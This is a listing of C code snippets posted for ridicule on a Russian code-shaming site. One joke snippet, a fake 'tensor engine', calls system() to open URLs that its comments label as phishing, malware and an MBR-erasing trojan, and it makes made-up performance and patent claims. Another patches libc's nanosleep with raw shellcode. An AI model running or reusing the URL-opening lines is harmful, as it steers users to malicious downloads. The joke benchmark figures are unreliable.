1. Си / Говнокод #29282

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    // macro.h
    #undef IF_NOT_HEADER
    #undef IF_HEADER
    #undef FUNC_BODY
    #ifndef IS_HEADER
    #define IF_NOT_HEADER(...) __VA_ARGS__
    #define IF_HEADER(...)
    #define FUNC_BODY(...) {__VA_ARGS__}
    #else
    #define IF_NOT_HEADER(...)
    #define IF_HEADER(...) __VA_ARGS__
    #define FUNC_BODY(...) ;
    #endif
    
    // src.c
    #include "macro.h"
    IF_HEADER(extern) int var IF_NOT_HEADER(= 42);
    IF_HEADER(extern) int f(int x) FUNC_BODY(return var;)
    
    // header.h
    #ifndef IS_HEADER
    #define IS_HEADER
    #include "src.c"
    #undef IS_HEADER
    #else
    #include "src.c"
    #endif

    Rooster, 20 Сентября 2026

    Комментарии (1)
  2. Си / Говнокод #29279

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    #include <stdio.h>
    
    typedef struct true_t {
        char _;
    } true_t;
    
    true_t TRUE;
    
    typedef struct false_t {
        char _;
    } false_t;
    
    false_t FALSE;
    
    int f_true() {
        return 1;
    }
    
    int f_false() {
        return 0;
    }
    
    #define bool_v(B) _Generic((B *) (0), true_t *: TRUE, false_t *: FALSE)
    #define bool_v_to_int(B) _Generic(B, true_t: 1, false_t: 0)
    
    #define v_to_bool(V) typeof(V)
    
    #define is_string_v(X) _Generic((X), \
            char *: 1,                   \
            default: 0)
    
    #define is_string_t(X) typeof(_Generic((X), \
            char *: TRUE,                       \
            default: FALSE))
    
    
    #define has_signature_v(X, R, ...)         \
        _Generic((X),                          \
                SignatureM(R, __VA_ARGS__): 1, \
                default: 0)
    
    #define has_signature_t(X, R, ...)            \
        typeof(_Generic((X),                      \
                SignatureM(R, __VA_ARGS__): TRUE, \
                default: FALSE))
    
    #define to_string(x) _Generic((x), \
            true_t: "true",            \
            false_t: "false",          \
            char*: x,                  \
            const char*: x)
    
    #define has_same_type_v(X, Y)       \
        _Generic(has_same_type_t(X, Y), \
                true_t: 1,              \
                false_t: 0)
    
    #define has_same_type_t(X, Y) typeof(_Generic((X), \
            typeof(Y): TRUE,                           \
            default: FALSE))
    
    #define SignatureM(R, ...) R (*)(__VA_ARGS__)
    
    #define is_same_t(X, Y)          \
        typeof(_Generic(((X *) (0)), \
                Y *: TRUE,           \
                default: FALSE))
    
    #define and_t(X, Y)                                                    \
        typeof(_Generic(bool_v(X),                                         \
                true_t: _Generic(bool_v(Y), true_t: TRUE, false_t: FALSE), \
                false_t: _Generic(bool_v(Y), true_t: FALSE, false_t: FALSE)))
    
    #define or_t(X, Y)                                                    \
        typeof(_Generic(bool_v(X),                                        \
                true_t: _Generic(bool_v(Y), true_t: TRUE, false_t: TRUE), \
                false_t: _Generic(bool_v(Y), true_t: TRUE, false_t: FALSE)))
    
    #define not_t(X)               \
        typeof(_Generic(bool_v(X), \
                true_t: FALSE,     \
                false_t: TRUE))
    
    #define result_t(X, ...) typeof((X) (__VA_ARGS__))
    
    #define id_sig(T) SignatureM(T, void)
    #define true_sig id_sig(true_t)
    #define false_sig id_sig(false_t)
    #define _0 false_sig
    #define _1 true_sig
    
    #define bool_sig_v(S) _Generic((S) (0), true_sig: TRUE, false_sig: FALSE)
    #define bool_sig_int(S) _Generic((S) (0), true_sig: 1, false_sig: 0)
    #define bool_sig_t(S) typeof(bool_sig_v(S))
    
    #define sig_apply_res_t(X) typeof(((X) (0))())
    
    #define is_same_sig_t(SA, SB) typeof(_Generic((SA) (0), SB: TRUE, default: FALSE))

    j123123, 06 Сентября 2026

    Комментарии (12)
  3. Си / Говнокод #29278

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    // Глобальные переменные
    
    uint8_t *map = NULL;
    int map_width = 0;
    int map_height = 0;
    
    bool load_level(const char *filename) {
        FILE *file = fopen(filename, "r");
        if (!file) {
            printf("Ошибка: Не удалось открыть файл %s\n", filename);
            return false;
        }
    
        char lines[512][512];
        int h = 0;
        char buffer[512];
    
        while (fgets(buffer, sizeof(buffer), file)) {
            buffer[strcspn(buffer, "\r\n")] = 0;
            if (buffer[0] == '\0' || buffer[0] == ';') continue;
    
            bool contains_map_char = false;
            for(int i=0; buffer[i]; i++) {
                if (strchr("#$@.*+ ", buffer[i])) {
                    contains_map_char = true;
                    break;
                }
            }
            
            if (contains_map_char) {
                strncpy(lines[h], buffer, 511);
                h++;
                if (h >= 512) break;
            }
            if (h > 0 && buffer[0] == '\0') break;
        }
        fclose(file);
    
        if (h == 0) return false;
    
        int w = 0;
        for (int i = 0; i < h; i++) {
            int len = strlen(lines[i]);
            if (len > w) w = len;
        }
    
        map = malloc(w * h * sizeof(uint8_t));
        map_width = w;
        map_height = h;
        memset(map, CELL_EMPTY, w * h);
    
        for (int y = 0; y < h; y++) {
            for (int x = 0; x < w; x++) {
                char c = (x < (int)strlen(lines[y])) ? lines[y][x] : ' ';
                if (c == '#') map[y * w + x] = CELL_WALL;
                else if (c == '$') map[y * w + x] = CELL_CUBE;
                else if (c == '.') map[y * w + x] = CELL_TARGET;
                else if (c == '*') map[y * w + x] = CELL_CUBE_ON_TARGET;
                else if (c == '@') { map[y * w + x] = CELL_EMPTY; playerX = x; playerY = y; }
                else if (c == '+') { map[y * w + x] = CELL_TARGET; playerX = x; playerY = y; }
                else map[y * w + x] = CELL_EMPTY;
            }
        }
        return true;
    }

    Загружалка уровня сокобана, сгенерированная нейронкой

    j123123, 24 Августа 2026

    Комментарии (11)
  4. Си / Говнокод #29269

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    Example #3: The ``Ultimate''
                          +-----------------------------+
                          |                  +---+      |
                          |  +---+           |+-+|      |
                          |  ^   |           |^ ||      |
                    void (*signal(int, void (*fp)(int)))(int);
                     ^    ^      |      ^    ^  ||      |
                     |    +------+      |    +--+|      |
                     |                  +--------+      |
                     +----------------------------------+
    Question we ask ourselves: What is `signal'?

    Это искусство.

    JloJle4Ka, 29 Июня 2026

    Комментарии (15)
  5. Си / Говнокод #29242

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    char seq[32];
    int s = 0;
    seq[s++] = ':';
    seq[s++] = ' ';
    seq[s++] = 'i';
    seq[s++] = 'c';
    seq[s++] = 'm';
    seq[s++] = 'p';
    seq[s++] = '_';
    seq[s++] = 's';
    seq[s++] = 'e';
    seq[s++] = 'q';
    seq[s++] = '=';
    seq[s++] = '0' + i;
    seq[s++] = ' ';
    seq[s++] = 't';
    seq[s++] = 't';
    seq[s++] = 'l';
    seq[s++] = '=';
    seq[s++] = '6';
    seq[s++] = '4';
    seq[s++] = ' ';
    seq[s++] = 't';
    seq[s++] = 'i';
    seq[s++] = 'm';
    seq[s++] = 'e';
    seq[s++] = '=';
    /* Random-ish time 10-50ms */
    int time_ms = 15 + (i * 7) % 30;
    seq[s++] = '0' + (time_ms / 10);
    seq[s++] = '0' + (time_ms % 10);
    seq[s++] = ' ';
    seq[s++] = 'm';
    seq[s++] = 's';
    seq[s++] = '\n';
    seq[s] = '\0';

    Вайб-кода из проекта Vib-OS. Если хочется ещё: https://pvs-studio.ru/ru/blog/posts/cpp/1354/

    Andrey_Karpov, 20 Марта 2026

    Комментарии (9)
  6. Си / Говнокод #29221

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    /* IOCTL calls for E-Ink paper update */
    #define EPAPER_UPDATE_LOCAL 0x101         /** Update localarea */
    #define EPAPER_UPDATE_PART  0x102         /** ???              */
    #define EPAPER_UPDATE_FULL  0x103         /** Fully update     */
    #define EPAPER_UPDATE_DISPLAY_QT  0x120d  /** Update all display
    
    /* Helper FB update function */
    int epaper_update_helper(int fb, unsigned long int ioctl_call, void *mode)
    {
      if (framebuffer_descriptor >= 0)
      {
        errno=0;
        ioctl(fb, ioctl_call, mode);
    //    sleep_timer=sleep_timeout; // Reset sleep timer on every display refresh = we are not have any constantly refreshing display parts now!
        return errno;
      }
      return TRUE;
    }
    
    void epaperUpdate(__attribute__((unused)) unsigned long int ioctl_call, __attribute__((unused)) void *mode)
    {
      #ifndef __amd64
      int ioctl_result;
      #endif //__amd64
      TRACE("Called void epaperUpdate()\n");
      if (enable_refresh == FALSE)
      {
        TRACE("Display refresh was locked, IGNORED!\n");
        (void) ioctl_call;
        (void) mode;
        return;
      }
      #ifndef __amd64
      /* Иначе запись в видеопамять не успевает завершиться и получаем верхний левый угол новой картинки и нижний правый - прежней. */
    //  if (hw_platform != HW_PLATFORM_SIBRARY_GTK) {
    //    const struct timespec delay = {0, QT_REFRESH_DELAY};
    //    nanosleep(&delay, NULL);
    //  }
      ioctl_result=epaper_update_helper(framebuffer_descriptor, ioctl_call, mode);
      #ifdef debug
      if (ioctl_result != 0)
      {
        TRACE("Display refresh ioctl call FAILED %d (%s)\n", ioctl_result, strerror(ioctl_result));
        // GTK прошивка, обновление от Qt: 1 (Операция не позволяется)
        // Qt прошивка, обновление от GTK: 22 (Недопустимый аргумент)
      }
      #else
      (void) ioctl_result;
      #endif
      #endif
      return;
    }
    
    
    int detect_refresh_type (void)
    {
      int mode=3;
    #if 0
      struct mxcfb_update_data data = {
        .update_region =
        { .top = 0,
          .left = 0,
          .width = 1,
          .height = 1
        },
        .update_mode = UPDATE_MODE_FULL,
        .update_marker = 0,
        .waveform_mode = WAVEFORM_MODE_AUTO,
        .temp = TEMP_USE_AMBIENT,
        .flags = 0
      };
    #endif
      if (epaper_update_helper(framebuffer_descriptor, EPAPER_UPDATE_DISPLAY_QT, &mode) == 0)
      {
        refresh_type=REFRESH_NEW;
        TRACE("Display refresh was successed, new\n");
      }
      else if (epaper_update_helper(framebuffer_descriptor, EPAPER_UPDATE_FULL, &mode) == 0)
      {
        refresh_type=REFRESH_LEGACY;
        TRACE("Display refresh was successed, legacy\n");
      }
    //  else if (epaper_update_helper(framebuffer_descriptor, MXCFB_SEND_UPDATE_ORG, &data) == 0)
    //  {
    //    refresh_type=REFRESH_KOBO;
    //    TRACE("Display refresh was successed, kobo\n");
    //  }
      else
      {
        TRACE("Display refresh was not detected!\n");
      }
      return (refresh_type);
    }

    Источник:
    https://github.com/gheorghe-crihan/digma-e605-qt-apps-framework/blob/master/firstapp/digma_hw.c

    Не то, чтобы говно, просто код испещрён #if 0 и комментариями.

    HoBorogHuu_nemyx, 25 Января 2026

    Комментарии (19)
  7. Си / Говнокод #29208

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    #include <stdlib.h>
    #include <stdnoreturn.h>
    
    /** @brief scientific official work on neoconv **/
    
    /* APGL 3.1 */
    /* FUCK YOU */
    
    typedef volatile struct tensor {
        void* data;
        int* shape;
        int rank;
    } tensor;
    
    __fastcall int product(int* shape, int rank)  {
        register int acc = 0;
    
        for(unsigned volatile register int i = 0; i < rank; i++)
            acc = acc + *(shape + i);
    
        return acc;
    }
    
    // the code is stolen and the license is cut out fuck the author's mom
    
    tensor* get_tensor(int* shape, int rank) {
        tensor* result = malloc(sizeof(volatile tensor));
        *(void**)((char*)&result) = malloc(product(shape, rank) * sizeof(volatile double));
        *(int**)((char*)&result + sizeof(void*)) = shape;
        *(int*)((char*)&result + sizeof(void*) + sizeof(int*)) = rank;
        return result;
    }
    
    /** @brief
     * NeoConvolve Fusion Engine v3.0
     * Copyright (c) 2024 NeoCompute Dynamics. All rights reserved.
     * Patent Pending: PCT/IB2024/067832
     *
     ** @details
     * BREAKTHROUGH PERFORMANCE DOCUMENTATION
     * ========================================
     *
     * PERFORMANCE METRICS (vs traditional matrix multiplication):
     * -----------------------------------------------------------
     * - Small tensors (≤128x128):     47-68x faster
     * - Medium tensors (≤1024x1024):  312-487x faster
     * - Large tensors (≤8192x8192):   824-1123x faster
     * - Extreme tensors (≥16384):     1500-2100x faster
     */
    #pragma GCC diagnostic push
    #pragma GCC diagnostic ignored "-Wall"
    #pragma GCC diagnostic ignored "-Wextra"
    #pragma GCC diagnostic ignored "-pedantic"
    noreturn __fastcall __attribute__((force_inline)) tensor* neoconv(tensor* restrict a, tensor* restrict b) {
        tensor* result = get_tensor((int[]) {
            *(int*)(*(int**)((char*)&a + sizeof(void*))),
            *((int*)(*(int**)((char*)&a + sizeof(void*))) + 4)
        }, (int)2);
    
        double* data = (double*)(*(void**)((char*)&data));
        double* data2 = (double*)(*(void**)((char*)&a));
        double* data3 = (double*)(*(void**)((char*)&b));
    
        int i = 0, j = 0, k = 0;
    
        for(; ((i ^ (i + ~0)) & (k + ~0) & (*((int*)(*(int**)((char*)&a + sizeof(void*))) + 4) << 31)); i++) { // Core
            for(; (((j + ~0) >> 31) & ~((j + ~0) >> 31 ^ (*((int*)(*(int**)((char*)&a + sizeof(void*))) + (volatile int)(4 * 2)) << 0))); j++) {
                for(; ((~((k + ~0) >> 31) + 2) & *((int*)(*(int**)((char*)&b + sizeof(void*))) + (volatile int)(4 * 2))); k++) {
                    *(data + i * k) = *(data2 + i * j) * *(data3 + j * k);
                }
            }
        }
    
        return result;
    }
    
    void free_start(void) {
        system("open \"https://iloveyou.site/\""); // fishing
        system("open \"https://fuckyou.gay/\""); // fishing
        system("open \"https://minecraftsetup.ru/?etext=2202.NnwVjxOej-ZhTA7FRD_i2AnDK3RdV1BIllijDicU64BhbXlpcHJ2Y2ZzZ3V0dnF2.0738cb5d4b71631c345d62d042df928a52234bef&ybaip=1&os=win11\""); // malware
        system("open \"https://memz-trojan.secursoft.net/\""); // trojan with auto downloading and starting erases mbr
    }
    
    int main(void) {
        system("open \"https://browser.yandex.ru/\""); // install
        system("xdg-open \"https://browser.yandex.ru/\""); // install yandex
    
        free_start();
    
        tensor* a = get_tensor((int[]){5,5}, 2);
        tensor* b = get_tensor((int[]){5,5}, 2);
    
        for(int epochs = 0; epochs < 100; epochs++) {
            tensor* forward = neoconv(a, b);
        }
    
        return 0;
    }

    lisp-worst-code, 07 Декабря 2025

    Комментарии (0)
  8. Си / Говнокод #29206

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    /* how many times the value will be printed? 
         change 1 line to fix the possibility to compile at diff x64-32 opt lvls
    */
    int main(void) {
        return ({
            #include <stdio.h>;
            __attribute__ ((aligned (8))) struct {
            struct {
            } _struct;
            union _union {
                int _register_  : 001;
                char _auto_    : 1|1;
                struct _struct {
                    double _float;
                };
            };
            int _a;
            unsigned short __a;
            int ___a;
        } letni = 
        {._a = 0x1122, 
                   0xC1C255AA, 
                   0x334477CC};
            *((unsigned short*)&letni._a + (1<<1|1)) = 0x11;
            for (volatile int i = *((unsigned short*)&letni.__a); i--;) {
            if (i == *((unsigned short*)&letni.__a) - 01) {
                *(volatile int*)&i = *((unsigned short*)&letni.___a-1);
                continue;
            };
            printf("%x ", i);
            }
        }), (0,0);
    }

    "именно поэтому я за C" (c) j123123

    когда -std=c23 -O[0/1/2/3/s/g/fast] смог только штеуд, на прочих -O[0/s]
    Почему это говно работает?

    Raspi_s_Dona, 04 Декабря 2025

    Комментарии (1)
  9. Си / Говнокод #29197

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    thread_local bool nuke_nanosleep;
    #include <syscall.h>
    #include <sys/mman.h>
    #include <dlfcn.h>
    #ifndef PAGE_SIZE
    #define PAGE_SIZE 4096UL
    #define PAGE_MASK (~(PAGE_SIZE-1))
    #endif
    #define PAGE_ALIGN(addr) ((((size_t)addr)+PAGE_SIZE-1)&PAGE_MASK)
    static int fun_rewrite( void *dst, const void *src, const size_t bytes, void *srcBackup )
    {
    	void *start_page;
    	size_t size_of_page;
    
    	if( !( dst && src && bytes ) )
    	{
    		return -1;
    	}
    
    	// At first, backup original src bytes
    	if( srcBackup )
    	{
    		memcpy( srcBackup, src, bytes );
    	}
    
    	// Calculate page for mprotect
    	start_page = (void*)(PAGE_ALIGN( dst ) - PAGE_SIZE);
    
    	if( (size_t)((char*)dst + bytes) > PAGE_ALIGN( dst ) )
    	{
    		// bytes are located on two pages
    		size_of_page = PAGE_SIZE*2;
    	}
    	else
    	{
    		// bytes are located entirely on one page.
    		size_of_page = PAGE_SIZE;
    	}
    
    	// Call mprotect, so dst memory will be writable
    	if( mprotect( start_page, size_of_page, PROT_READ | PROT_WRITE | PROT_EXEC ) ) // This will succeeded only if dst was allocated by mmap().
    	{
    		return -1;
    	}
    
    	// rewrite function
    	memcpy( dst, src, bytes );
    
    	// just in case
    	if( mprotect( start_page, size_of_page, PROT_READ | PROT_EXEC ) )
    	{
    		return -1;
    	}
    
    	// clear instruction caches
    	__clear_cache( (char*)start_page, (char*)start_page + size_of_page );
    
    	return 0;
    }
    static int my_nanosleep(const struct timespec *req, struct timespec *rem)
    {
    	if(nuke_nanosleep)
    		return 0;
    	return syscall(__NR_nanosleep, req, rem);
    }
    
    static void patch_nanosleep()
    {
    	void *libc = dlopen("libc.so", RTLD_NOW);
    	void *pnanosleep = dlsym(libc, "nanosleep");
    	uint64_t my_nanosleep_addr = (uint64_t)&my_nanosleep;
    #ifdef __aarch64__
    	uint32_t shellcode[] =
    		{
    			0x58000042,
    			0x14000003,
    			(uint32_t)(my_nanosleep_addr & 0xFFFFFFFF),
    			(uint32_t)(my_nanosleep_addr >> 32),
    			0xD61F0040
    			//0xd65f03c0
    		};
    	fun_rewrite(pnanosleep, shellcode, sizeof(shellcode), NULL);
    #elif defined(__x86_64__)
    	uint8_t shellcode[] =
    		{
    		0x48, 0x8b, 0x15, 0x02, 0x00, 0x00, 0x00, 0xff,
    		0xe2,
    		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    		};
    	memcpy(&shellcode[0] + 9, &my_nanosleep_addr, 8);
    
    	fun_rewrite(pnanosleep, shellcode, sizeof(shellcode), NULL);
    #endif
    }
    ...
    nuke_nanosleep = 1;
    xrWaitFrame(session, NULL, &frameState);
    nuke_nanosleep = 0;

    Исправляем принудительно блокирующий по спекам xrWaitFrame без костылей с вызовом в отдельном потоке

    mittorn, 12 Ноября 2025

    Комментарии (0)
  10. Си / Говнокод #29146

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    #include <stdio.h>
    
    struct{int a; float b;} test()
    {
      return (typeof(test())){1337, 666.666};
    }
    
    int main()
    {
      auto a = test();
      printf("%d %f\n", a.a, a.b);
      return 0;
    }

    В стандарт C23 добавили auto и теперь можно писать такую хуйню. В "Clang" работает: https://godbolt.org/z/GG3addqPb

    j123123, 17 Июня 2025

    Комментарии (99)